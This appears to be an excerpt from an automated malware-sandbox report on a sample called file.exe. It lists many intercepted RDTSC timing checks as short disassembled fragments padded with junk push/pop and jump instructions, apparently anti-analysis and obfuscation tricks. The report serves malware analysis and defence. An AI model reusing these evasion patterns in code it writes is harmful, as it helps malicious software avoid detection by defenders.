Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD5C second address: 64DD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DEE0 second address: 64DEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DEE6 second address: 64DEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DEEF second address: 64DF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4BCDD3070h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E06E second address: 64E072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E072 second address: 64E078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E1D6 second address: 64E1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E526 second address: 64E52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E52B second address: 64E536 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FD4BD4D2D46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E8E7 second address: 64E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E8F1 second address: 64E8F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E8F9 second address: 64E903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D1A5 second address: 64D1AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651C01 second address: 651C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007FD4BCDD3079h 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6567F4 second address: 6567FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6567FA second address: 6567FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C28F second address: 65C293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B2BE second address: 65B2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007FD4BCDD3066h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD4BCDD3074h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B2E9 second address: 65B2FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B9FD second address: 65BA02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BA02 second address: 65BA07 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BB9E second address: 65BBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BF85 second address: 65BF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D4Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F3D8 second address: 65F438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4BCDD3066h 0x0000000a jmp 00007FD4BCDD3077h 0x0000000f popad 0x00000010 jmp 00007FD4BCDD3071h 0x00000015 popad 0x00000016 pushad 0x00000017 ja 00007FD4BCDD306Ch 0x0000001d pushad 0x0000001e jc 00007FD4BCDD3066h 0x00000024 jmp 00007FD4BCDD3076h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EE19 second address: 65EE1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EF46 second address: 65EF60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FD4BCDD3074h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EF60 second address: 65EF80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D52h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007FD4BD4D2D52h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F0DF second address: 65F0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661557 second address: 661580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD4BD4D2D55h 0x0000000a jbe 00007FD4BD4D2D46h 0x00000010 popad 0x00000011 jno 00007FD4BD4D2D57h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66171C second address: 661734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4BCDD306Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66746B second address: 667480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD4BD4D2D46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FD4BD4D2D46h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667480 second address: 667484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667484 second address: 66749F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FD4BD4D2D4Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ED84 second address: 60ED8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66787A second address: 6678AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D56h 0x00000007 push ecx 0x00000008 jng 00007FD4BD4D2D46h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jnl 00007FD4BD4D2D46h 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jng 00007FD4BD4D2D46h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6678AE second address: 6678B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6678B4 second address: 6678D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D57h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B09C second address: 66B0A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F84F second address: 66F853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F853 second address: 66F86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FD4BCDD306Ch 0x0000000c jbe 00007FD4BCDD3066h 0x00000012 jc 00007FD4BCDD306Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F993 second address: 66F9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d pushad 0x0000000e jl 00007FD4BD4D2D46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FB79 second address: 66FB91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FD1D second address: 66FD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4BD4D2D46h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670001 second address: 670006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789DF second address: 6789E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789E3 second address: 6789ED instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789ED second address: 678A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Fh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FD4BD4D2D52h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007FD4BD4D2D46h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A2E second address: 676A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A36 second address: 676A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A3A second address: 676A63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FD4BCDD3079h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007FD4BCDD3066h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A63 second address: 676A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A71 second address: 676AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD4BCDD3076h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676AA2 second address: 676AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676AA7 second address: 676AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FD4BCDD3066h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676AB3 second address: 676AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676AB7 second address: 676ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67755F second address: 677569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677569 second address: 67758D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FD4BCDD3092h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67758D second address: 677593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677593 second address: 677597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677597 second address: 6775A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FD4BD4D2D56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677B5F second address: 677B87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3073h 0x00000007 jmp 00007FD4BCDD306Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677E2F second address: 677E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D51h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67840F second address: 678413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D508 second address: 67D512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA66A second address: 5CA687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD3079h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA687 second address: 5CA6B3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4BD4D2D46h 0x00000008 jmp 00007FD4BD4D2D4Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FD4BD4D2D4Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA6B3 second address: 5CA6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680662 second address: 680671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD4BD4D2D46h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680671 second address: 680675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680675 second address: 680683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680D44 second address: 680D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681035 second address: 681045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 ja 00007FD4BD4D2D50h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6811CF second address: 6811D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6890D3 second address: 6890D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6890D9 second address: 6890DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6890DD second address: 68911A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D50h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e jno 00007FD4BD4D2D46h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop eax 0x00000017 jmp 00007FD4BD4D2D57h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68911A second address: 689120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689120 second address: 68913D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D59h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689287 second address: 68928D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68928D second address: 6892A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6892A6 second address: 6892E4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD4BCDD306Dh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FD4BCDD3083h 0x00000019 jmp 00007FD4BCDD3077h 0x0000001e jbe 00007FD4BCDD3066h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6895EC second address: 6895F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6895F0 second address: 68960D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FD4BCDD3072h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68960D second address: 689622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4BD4D2D4Ch 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689622 second address: 689635 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007FD4BCDD3066h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689635 second address: 689640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689640 second address: 689652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD306Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689937 second address: 689954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689954 second address: 689958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C62 second address: 689C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C6C second address: 689C81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jng 00007FD4BCDD3066h 0x0000000d pop ecx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A0C4 second address: 68A0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jo 00007FD4BD4D2D46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A0D5 second address: 68A0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A0DE second address: 68A0E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688C54 second address: 688C58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADA3D second address: 6ADA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8455 second address: 6B845B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
